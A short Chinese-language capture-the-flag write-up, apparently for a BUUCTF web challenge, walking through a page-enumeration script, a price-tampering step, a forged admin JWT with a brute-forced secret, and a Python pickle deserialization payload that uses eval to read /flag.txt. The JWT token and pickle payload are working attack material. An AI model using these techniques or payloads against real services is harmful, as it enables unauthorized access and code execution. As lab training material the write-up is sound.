打开环境 注册一个账号 进去发现提示
随便点两页 直接写个脚本
import requests
import time
url='http://d5a20c05-ae4a-43b6-9882-cd61dee0a934.node4.buuoj.cn:81/shop?page='
for i in range(0,200):
print(i)
payload=url+str(i)
a = requests.get(payload)
if "lv6.png" in a.text:
print("answer:"+str(i))
break
来到181页 发现购买操作失败 我们抓包来看看
发现有折扣,所以我们看看改小一点,改到我们能购买的金额数
发现了出现了重定向 我们访问一下
提示我们需要admin才能访问 然后我们抓包发现有jwt身份验证
直接去网站解密之后修改为admin,然后再用工具爆破出第三部分
伪造后的签名为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然后我们进去叫我们成为大会员 点了没有跳转
我们在源码中找到
然后我们在源码里面发现了利用点
就很简单的反序列化利用点
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a